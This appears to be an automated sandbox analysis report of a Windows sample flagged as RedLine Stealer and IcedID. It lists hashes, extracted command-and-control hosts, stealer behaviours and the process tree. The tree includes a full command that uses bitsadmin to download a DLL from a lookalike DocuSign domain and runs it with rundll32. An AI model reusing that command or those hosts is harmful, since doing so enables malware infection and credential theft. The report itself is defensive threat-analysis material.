Resubmissions
10-05-2021 11:09
210510-cdf8nml7an 10Analysis
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max time kernel
141s -
max time network
148s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
10-05-2021 11:09
Static task
static1
Behavioral task
behavioral1
Sample
e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe
Resource
win7v20210410
General
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Target
e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe
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Size
1.6MB
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MD5
16a11f50f6925fca61040f2e0a834b89
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SHA1
4179ea5b096750082e177dddedf3a46f1576ef91
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SHA256
e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148
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SHA512
309b46e3e09e77a96a3ecc06a06a62fc7111e15383aefb8eed8c9be11c700774749d55f6dd7e2fb172bc74525a52c888e9aac6c49b217e4a0bc3b247676a075c
Malware Config
Extracted
redline
zastaredan.xyz:80
Extracted
icedid
687839456
icouldmakeyoubelieve.top
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/472-66-0x0000000000400000-0x000000000041C000-memory.dmp family_redline behavioral1/memory/472-67-0x00000000004163BA-mapping.dmp family_redline behavioral1/memory/472-68-0x0000000000400000-0x000000000041C000-memory.dmp family_redline -
Blocklisted process makes network request 4 IoCs
Processes:
rundll32.exeflow pid process 12 1052 rundll32.exe 14 1052 rundll32.exe 16 1052 rundll32.exe 18 1052 rundll32.exe -
Downloads MZ/PE file
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Suspicious use of SetThreadContext 1 IoCs
Processes:
e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exedescription pid process target process PID 1116 set thread context of 472 1116 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe -
Download via BitsAdmin 1 TTPs 1 IoCs
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Processes:
rundll32.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 19000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca61d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e4090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f006700690065007300000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a92000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd rundll32.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 040000000100000010000000a923759bba49366e31c2dbf2e766ba870f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca619000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd rundll32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6 rundll32.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 0f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd rundll32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exerundll32.exepid process 472 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe 472 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe 1052 rundll32.exe 1052 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exedescription pid process Token: SeDebugPrivilege 472 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe -
Suspicious use of WriteProcessMemory 31 IoCs
Processes:
e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exee95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.execmd.exerundll32.exedescription pid process target process PID 1116 wrote to memory of 472 1116 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe PID 1116 wrote to memory of 472 1116 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe PID 1116 wrote to memory of 472 1116 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe PID 1116 wrote to memory of 472 1116 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe PID 1116 wrote to memory of 472 1116 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe PID 1116 wrote to memory of 472 1116 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe PID 1116 wrote to memory of 472 1116 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe PID 1116 wrote to memory of 472 1116 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe PID 1116 wrote to memory of 472 1116 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe PID 1116 wrote to memory of 472 1116 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe PID 1116 wrote to memory of 472 1116 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe PID 1116 wrote to memory of 472 1116 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe PID 472 wrote to memory of 1232 472 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe cmd.exe PID 472 wrote to memory of 1232 472 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe cmd.exe PID 472 wrote to memory of 1232 472 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe cmd.exe PID 472 wrote to memory of 1232 472 e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe cmd.exe PID 1232 wrote to memory of 940 1232 cmd.exe bitsadmin.exe PID 1232 wrote to memory of 940 1232 cmd.exe bitsadmin.exe PID 1232 wrote to memory of 940 1232 cmd.exe bitsadmin.exe PID 1232 wrote to memory of 940 1232 cmd.exe bitsadmin.exe PID 1232 wrote to memory of 1284 1232 cmd.exe rundll32.exe PID 1232 wrote to memory of 1284 1232 cmd.exe rundll32.exe PID 1232 wrote to memory of 1284 1232 cmd.exe rundll32.exe PID 1232 wrote to memory of 1284 1232 cmd.exe rundll32.exe PID 1232 wrote to memory of 1284 1232 cmd.exe rundll32.exe PID 1232 wrote to memory of 1284 1232 cmd.exe rundll32.exe PID 1232 wrote to memory of 1284 1232 cmd.exe rundll32.exe PID 1284 wrote to memory of 1052 1284 rundll32.exe rundll32.exe PID 1284 wrote to memory of 1052 1284 rundll32.exe rundll32.exe PID 1284 wrote to memory of 1052 1284 rundll32.exe rundll32.exe PID 1284 wrote to memory of 1052 1284 rundll32.exe rundll32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe"C:\Users\Admin\AppData\Local\Temp\e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\Users\Admin\AppData\Local\Temp\e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe"C:\Users\Admin\AppData\Local\Temp\e95d92772e18190dbde834744c74aa2ab7fda3b01e1ca839fabb8a4285b4e148.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:472 -
C:\Windows\SysWOW64\cmd.exe"cmd" /C bitsadmin /transfer debjob /download /priority HIGH https://securepro.docusign.peacearoo.com/upd/cert.dll %tmp%\name.dll && rundll32 %tmp%\name.dll,PluginInit3⤵
- Suspicious use of WriteProcessMemory
PID:1232 -
C:\Windows\SysWOW64\bitsadmin.exebitsadmin /transfer debjob /download /priority HIGH https://securepro.docusign.peacearoo.com/upd/cert.dll C:\Users\Admin\AppData\Local\Temp\name.dll4⤵
- Download via BitsAdmin
PID:940
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C:\Windows\SysWOW64\rundll32.exerundll32 C:\Users\Admin\AppData\Local\Temp\name.dll,PluginInit4⤵
- Suspicious use of WriteProcessMemory
PID:1284 -
C:\Windows\system32\rundll32.exerundll32 C:\Users\Admin\AppData\Local\Temp\name.dll,PluginInit5⤵
- Blocklisted process makes network request
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:1052
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